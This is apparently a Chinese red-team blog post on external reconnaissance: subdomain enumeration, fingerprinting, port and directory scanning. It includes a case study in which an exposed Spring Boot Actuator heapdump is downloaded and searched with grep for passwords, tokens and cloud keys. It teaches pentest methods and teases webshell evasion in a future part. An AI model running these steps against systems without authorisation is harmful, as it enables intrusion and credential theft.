一个被我忽略的子域名,成了黑客攻破内网的第一道门
一个被我忽略的子域名,成了黑客攻破内网的第一道门
红队外网打点实战系列 · 第1篇:信息收集与资产测绘
每个漏洞挖掘,都是从"扫"开始的
去年帮某金融公司做红队评估,甲方给了个目标域名:examplebank.cn,说是他们对外服务的核心域名。常规操作:Nmap扫端口、Dirsearch跑目录、WhatWeb看指纹——一整套流水线下来,只发现一个Nginx默认页和一个404。
不对,太干净了。真实业务不可能只有这些。
我随手查了一下这个域名的DNS记录,看到一个不起眼的子域名:
dev-api.examplebank.cn
没有用字典爆破,没有用工具,就是一条简单的dig命令:
dig axfr examplebank.cn @ns1.examplebank.cn
虽然域传送失败了,但这条记录就躺在权威DNS服务器返回的SOA记录当中。我手工试了一下:
curl -v https://dev-api.examplebank.cn/actuator
返回了200,正文赫然写着:
{
"_links": {
"health": {"href": "/actuator/health"},
"info": {"href": "/actuator/info"},
"env": {"href": "/actuator/env"},
"heapdump": {"href": "/actuator/heapdump"}
}
}
Spring Boot Actuator 全面暴露,没有任何认证。
这就是我今天想讲的——外网打点中,最容易被忽略也最容易出成果的一步:信息收集与资产测绘。
你不需要0day,不需要复杂的手艺,只需要知道去哪挖、怎么挖。这篇文章我会把每一步的工具、命令和思路拆开,从子域名枚举到资产指纹识别,给你一条完整的外网打点路线图。
一、子域名枚举——信息收集的起点
外网打点的第一刀,永远是资产发现。你拿到的目标通常只有一个主域名,但真实业务往往分散在几十个甚至上百个子域名上。攻击者也清楚这一点——他们不会打你守得最好的正门,而是绕到没人管的侧门。
1.1 被动收集:用别人的数据,不触发告警
被动收集时,你的请求不直接发给目标服务器,而是通过第三方数据源获取。这保证了零暴露。
工具:Subfinder + SecurityTrails
# 安装 Subfinder
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
# 被动模式
subfinder -d examplebank.cn -all -o subdomains_passive.txt
# 输出示例
# api.examplebank.cn
# dev.examplebank.cn
# admin.examplebank.cn
# mail.examplebank.cn
# cdn.examplebank.cn
# jenkins.examplebank.cn
# gitlab.examplebank.cn
手动补充——用搜索引擎挖子域名:
Google dork 在外网资产发现这个环节依然非常能打:
site:examplebank.cn -www -mail
site:examplebank.cn intitle:login
site:examplebank.cn inurl:api
site:examplebank.cn intitle:"Internal Dashboard"
实际案例:在我上一轮攻防中,一个intitle:jenkins的搜索直接找到了目标公司的Jenkins登录页——密码还是admin:admin。
证书透明度(Certificate Transparency)查询:
每个HTTPS证书签发时都会被记录到公共日志中,这是攻击者最喜欢的数据源之一:
# 用 crt.sh 查询
curl -s "https://crt.sh/?q=%25.examplebank.cn&output=json" | jq -r '.[].name_value' | sort -u
# 或者用 certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=examplebank.cn&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]' | sort -u
⚠️ 红队经验: 被动收集阶段永远不会被蓝队发现。建议在主动扫描前,花至少30分钟做被动收集。我见过的最离谱案例——光靠crt.sh就发现了37个子域名,其中3个存在高危漏洞。
1.2 主动收集:验证存活 + 深入探测
被动拿到列表后,下一步是验证哪些子域名还活着。
# 使用 httpx 验证 HTTP 服务
cat subdomains_passive.txt | httpx -title -status-code -tech-detect -o alive_subdomains.txt
# 输出示例
# https://api.examplebank.cn [200] [Example Bank API] [nginx 1.24.0]
# https://dev.examplebank.cn [401] [Apache Tomcat/9.0.65] [Apache Tomcat]
# https://admin.examplebank.cn [302] [Login Page] [nginx + PHP]
# https://jenkins.examplebank.cn [200] [Jenkins] [Jetty + Jenkins]
主动DNS枚举(字典爆破):
当被动收集已经用完时,字典爆破是补充手段。
# 使用 puredns 去重 + 野生泛解析过滤
puredns bruteforce /usr/share/wordlists/dns/subdomains-top1million.txt examplebank.cn \
-r /usr/share/resolvers.txt \
-w subdomains_brute.txt
红队秘籍: 不要只盯着admin、dev、api这些常规词汇。试试jira、confluence、nexus、registry、backup、test、uat、staging、vpn、sslvpn——蓝队最容易遗漏的就是这些中间件和开发环境。
二、Web指纹识别——打了谁,用什么打的
知道目标有哪些子域名还不够。你得知道每台服务器后面运行的是什么——操作系统、Web服务器、框架版本、中间件类型。
2.1 自动化指纹识别
# 使用 httpx 的技术探测(上面已经用了)
# 使用 wappalyzer(CLI 版本)
wappalyzer https://dev-api.examplebank.cn
# 使用 nuclei 的 tech-detection 模板
nuclei -l alive_subdomains.txt -t ~/nuclei-templates/tech-detect/ -o tech_stack.txt
2.2 手动验证关键指纹
自动化工具漏掉的,往往是高手手工补上的。
例1:Tomcat版本识别
curl -s http://dev.examplebank.cn:8080/ | grep "Tomcat"
# Apache Tomcat/9.0.65 - 这个版本已知存在 CVE-2023-44487(HTTP/2 Rapid Reset)
例2:Spring Boot Actuator 检测
# 批量检测 actuator 端点
for path in /actuator /actuator/health /actuator/env /actuator/heapdump /actuator/actuator; do
code=$(curl -s -o /dev/null -w "%{http_code}" https://dev-api.examplebank.cn$path)
echo "$path -> $code"
done
# 输出:
# /actuator -> 200
# /actuator/health -> 200
# /actuator/env -> 200
# /actuator/heapdump -> 200
# /actuator -> 404
真实案例: 在某次攻防演练中,我发现目标的一个/actuator/heapdump未授权访问,下载下来后用jhat解析,直接在堆转储中找到了AWS临时密钥。用这个密钥,从外网直接攻入了他们的内部S3存储——全程没有触发任何告警。因为云API调用在内部看来是"正常业务流量"。
三、存活探测与服务识别——锁定攻击面
3.1 端口扫描——不只看80和443
# 使用 naabu 快速扫描全端口(比 Nmap 快 10 倍)
naabu -host examplebank.cn -p 1-65535 -rate 1000 -o ports_full.txt
# 针对内部服务常用的非常规端口做定向扫描
naabu -host admin.examplebank.cn -p 8080,8443,9090,9443,2375,2376,6443,5000,9000,10000
常见高价值端口及其对应的服务:
端口服务攻击价值2375/2376Docker API未授权可直接接管容器6443K8s API Server暴露即沦陷9090Prometheus/Grafana可能暴露内部指标和Dashboard5000Docker Registry可能下载到内部镜像9200Elasticsearch可能直接dump全部数据27017MongoDB未授权可获取全部数据3.2 目录扫描——找到隐藏入口
# 使用 ffuf 快速目录爆破
ffuf -u https://admin.examplebank.cn/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-ac \
-fc 403,404 \
-t 50 \
-o dir_scan.json
# 常见高价值路径
# /backup/ - 备份文件可能包含源码和配置
# /.git/ - 源码泄露
# /swagger-ui/ - API文档
# /api-docs/ - OpenAPI定义
# /console/ - 管理控制台
# /phpmyadmin/ - 数据库管理
# /server-status/ - Apache内部状态
四、实战案例:一个子域名打到内网的全部过程
好了,理论说了这么多,讲个真实案例。
红队评估目标:某中型互联网公司,主域名 xxpay.cn。
第一步:被动收集(15分钟)
subfinder -d xxpay.cn -all | tee passive_subs.txt
# 发现 42 个子域名
筛选后,一个叫 staging-payment.xxpay.cn 的子域名引起了我的注意。域名前缀 "staging" 明显不是生产环境。
第二步:指纹识别(5分钟)
curl -k -v https://staging-payment.xxpay.cn:8443 2>&1 | grep "Server:"
# Server: Apache-Coyote/1.1
Tomcat + 8443 端口。Spring Boot的经典配置。
第三步:探测Actuator(30秒)
curl -k https://staging-payment.xxpay.cn:8443/actuator
返回了一整页Spring Boot Actuator端点。其中包括 heapdump。
第四步:下载堆转储(2分钟)
wget https://staging-payment.xxpay.cn:8443/actuator/heapdump
# 文件大小: 1.2GB
第五步:分析堆转储(10分钟)
# 使用 jhat 或 Eclipse MAT,搜索关键词
strings heapdump | grep -i "password\|secret\|key\|token" | head -50
找到了数据库连接串:
jdbc:mysql://rds-internal.xxpay.cn:3306/payment?user=payment_app&password=Pay@2023!
以及阿里云 AccessKey:
accessKeyId: LTAI5txxxxxxxxxxxxxxxx
accessKeySecret: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
结果: 从外网一个"无人在意"的staging环境,一路打到数据库、云平台、OSS存储。整个过程耗时不到40分钟。
而这一切的起点,只是一个被忽略的子域名。
五、外网打点检查清单
每次做外网打点,我基本上都按这个清单走:
□ 被动信息收集
□ 子域名枚举(Subfinder/crt.sh/SecurityTrails)
□ Google Dork 搜索
□ GitHub泄露搜索(gitrob/truffleHog)
□ 社交媒体信息收集
□ Wappalyzer/WhatWeb指纹识别
□ 主动探测
□ 存活验证(httpx)
□ 端口扫描(naabu,全端口)
□ 目录爆破(ffuf)
□ 敏感路径探测(actuator/swagger/.git等)
□ 漏洞验证
□ 中间件版本漏洞
□ 未授权访问(Docker/K8s/ES/Mongo等)
□ 信息泄露(.git/backup/日志)
□ 弱口令测试
红队心得: 外网打点最核心的能力不是技术,是耐心和细心。自动化工具可以帮你完成80%的工作,但剩下的20%——那些最高价值的入口——往往是手工发现的。多翻翻404页面的源代码、多看看响应头、多查一条DNS记录,这些"笨办法"至今没有自动化工具能完全替代。
下期预告
找到了入口之后,下一步怎么办?外网打点系列的第二篇,我会讲:从Web应用到内网横向移动——拿下第一台机器后,怎么不留痕迹地走下去。
包括:
- WebShell 免杀与权限维持
- 内网信息收集的隐藏技巧
- 隧道搭建与流量转发
- 域信息收集的必备工具和命令
关注「安全值班室」公众号
每天实战攻防案例 + 安全干货

浙公网安备 33010602011771号